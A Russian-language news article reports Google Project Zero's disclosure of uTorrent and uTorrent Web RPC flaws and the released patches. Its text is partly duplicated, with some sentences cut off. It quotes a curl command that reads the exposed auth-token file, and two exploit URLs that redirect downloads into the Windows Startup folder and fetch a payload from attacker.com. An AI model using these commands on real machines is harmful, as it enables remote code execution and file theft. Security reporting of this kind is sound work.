В двух версиях uTorrent (под Windows и в веб-версии uTorrent Web) обнаружено несколько опасных уязвимостей, которые легко эксплуатировать. При этом они позволяют запускать произвольный код на машине, где запущен uTorrent (веб-версия); получить доступ к скачанным файлам, в том числе копировать их, просматривать историю скачиваний (веб-версия и Windows).
Взлом возможен только если uTorrent работает с настройками по умолчанию, а именно с HTTP RPC сервером на порту 10000 (uTorrent Classic) или 19575 (веб-версия uTorrent) с активированным обработчиком
Баги нашёл хакер Тэвис Орманди (Tavis Ormandy) из подразделения Project Zero в компании Google. Он разгласил информацию в баг-трекере Chromium 31 января 2018 года (через 90 дней после того, как сообщил о ней разработчикам).
Как пишет Тэвис, любой веб-сайт может взаимодействовать с вышеуказанными RPC-серверами через программный интерфейс XMLHTTPRequest(). Это API использует запросы HTTP или HTTPS напрямую к серверу и загружает данные ответа сервера напрямую в вызывающий скрипт. Интерфейс позволяет осуществлять HTTP-запросы к серверу без перезагрузки страницы и часто используется на многих современных сайтах.
Для взлома машины, где работает uTorrent, нужно заманить пользователя на веб-страницу, где установлен эксплоит. Это может быть совершенно любой сайт. Эксплоит через перепривязывание DNS по XMLHTTPRequest() заставляет браузер запустить скрипт, обращающийся к этому RPC-серверу.
На демо-странице приведены примеры, какие действия может инициировать веб-сайт через интерфейс JSON RPC сервера на порту 10000. Здесь через программный интерфейс по XMLHTTPRequest() отправляются стандартные команды uTorrent.
Тэвис пишет, что изучая разные команды uTorrent-клиенту он заметил, что в программе с настройками по умолчанию активен обработчик
Орманди сделал демо-страничку. Хакер говорит, что демка работает медленно, но если вы всё-таки хотите увидеть фокус, то сделайте следующее:
По ходу изучения программы uTorrent Тэвис нашёл в ней ещё парочку багов и недостатков: например, некорректный генератор псевдослучайных чисел, отключение защиты памяти ASLR и неправильная работа в «гостевом» режиме, где должны быть отключены многие функции, а на самом деле они доступны через тот же сервер на порту 10000.
В веб-версии уязвимость ещё жёстче, потому что там любой сторонний сайт может получить доступ к токену аутентификации, секрет которого хранится в открытой папке webroot (как и настройки, дампы, логи и др.) — это очень удивило Тэвиса Орманди.
Получив секрет, можно дистанционно изменить директорию для скачивания и дать команду на загрузку произвольного файла. Например, загрузить вредоносный код в папку автозагрузки:
→ Рабочий эксплоит
Разработчики из компании BitTorrent, Inc. уже выпустили патч для uTorrent под Windows. Пока что он доступен только в бета-версии uTorrent/BitTorrent 3.5.3.44352, которая в ближайшее время должна стать доступна через механизм автоматического обновления. Пользователям uTorrent Web надо обновиться на последний билд 0.12.0.502.
uTorrent — один из самых популярных торрент-клиентов, написан на C++. Отличается небольшим размером и высокой скоростью работы при достаточно большой функциональности. Первая версия вышла 18 сентября 2005 года. Сейчас доступен в версиях для всех основных операционных систем. Количество пользователей превышает 100 млн человек. В первых версиях автор пытался зарабатывать на контекстной рекламе, потом программу купила компания BitTorrent, которая монетизировалась через навязывание тулбаров, adware и «Яндекс.Браузера» (в русскоязычной версии).
Взлом возможен только если uTorrent работает с настройками по умолчанию, а именно с HTTP RPC сервером на порту 10000 (uTorrent Classic) или 19575 (веб-версия uTorrent) с активированным обработчиком
/proxy/
(он активирован по умолчанию). Баги нашёл хакер Тэвис Орманди (Tavis Ormandy) из подразделения Project Zero в компании Google. Он разгласил информацию в баг-трекере Chromium 31 января 2018 года (через 90 дней после того, как сообщил о ней разработчикам).
Как пишет Тэвис, любой веб-сайт может взаимодействовать с вышеуказанными RPC-серверами через программный интерфейс XMLHTTPRequest(). Это API использует запросы HTTP или HTTPS напрямую к серверу и загружает данные ответа сервера напрямую в вызывающий скрипт. Интерфейс позволяет осуществлять HTTP-запросы к серверу без перезагрузки страницы и часто используется на многих современных сайтах.
Для взлома машины, где работает uTorrent, нужно заманить пользователя на веб-страницу, где установлен эксплоит. Это может быть совершенно любой сайт. Эксплоит через перепривязывание DNS по XMLHTTPRequest() заставляет браузер запустить скрипт, обращающийся к этому RPC-серверу.
На демо-странице приведены примеры, какие действия может инициировать веб-сайт через интерфейс JSON RPC сервера на порту 10000. Здесь через программный интерфейс по XMLHTTPRequest() отправляются стандартные команды uTorrent.
Тэвис пишет, что изучая разные команды uTorrent-клиенту он заметил, что в программе с настройками по умолчанию активен обработчик
/proxy/
, что позволяет стороннему сайту посмотреть список скачанных файлов и скопировать их. То есть по умолчанию uTorrent позволяет любому сайту проверить список скачанных вами торрентов, достаточно лишь сбрутить одно маленькое число (sid), которое присваивается каждому открытому торренту по очереди.Орманди сделал демо-страничку. Хакер говорит, что демка работает медленно, но если вы всё-таки хотите увидеть фокус, то сделайте следующее:
- Установите uTorrent с дефолтными настройками.
- Добавьте торрент из URL: https://archive.org/download/SKODAOCTAVIA336x280/SKODAOCTAVIA336x280_archive.torrent.
- По окончании скачивания торрента (он всего лишь 5 МБ) перейдите на страницу с демкой.
- Подождите несколько минут.
По ходу изучения программы uTorrent Тэвис нашёл в ней ещё парочку багов и недостатков: например, некорректный генератор псевдослучайных чисел, отключение защиты памяти ASLR и неправильная работа в «гостевом» режиме, где должны быть отключены многие функции, а на самом деле они доступны через тот же сервер на порту 10000.
В веб-версии уязвимость ещё жёстче, потому что там любой сторонний сайт может получить доступ к токену аутентификации, секрет которого хранится в открытой папке webroot (как и настройки, дампы, логи и др.) — это очень удивило Тэвиса Орманди.
$ curl -si http://localhost:19575/users.conf
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 19:46:44 GMT
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
Etag: "5a721b0e.92"
Content-Type: text/plain
Content-Length: 92
Connection: close
Accept-Ranges: bytes
localapi29c802274dc61fb4 bc676961df0f684b13adae450a57a91cd3d92c03 94bc897965398c8a07ff 2 1
Получив секрет, можно дистанционно изменить директорию для скачивания и дать команду на загрузку произвольного файла. Например, загрузить вредоносный код в папку автозагрузки:
http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup
http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent
→ Рабочий эксплоит
Разработчики из компании BitTorrent, Inc. уже выпустили патч для uTorrent под Windows. Пока что он доступен только в бета-версии uTorrent/BitTorrent 3.5.3.44352, которая в ближайшее время должна стать доступна через механизм автоматического обновления. Пользователям uTorrent Web надо обновиться на последний билд 0.12.0.502.
uTorrent — один из самых популярных торрент-клиентов, написан на C++. Отличается небольшим размером и высокой скоростью работы при достаточно большой функциональности. Первая версия вышла 18 сентября 2005 года. Сейчас доступен в версиях для всех основных операционных систем. Количество пользователей превышает 100 млн человек. В первых версиях автор пытался зарабатывать на контекстной рекламе, потом программу купила компания BitTorrent, которая монетизировалась через навязывание тулбаров, adware и «Яндекс.Браузера» (в русскоязычной версии).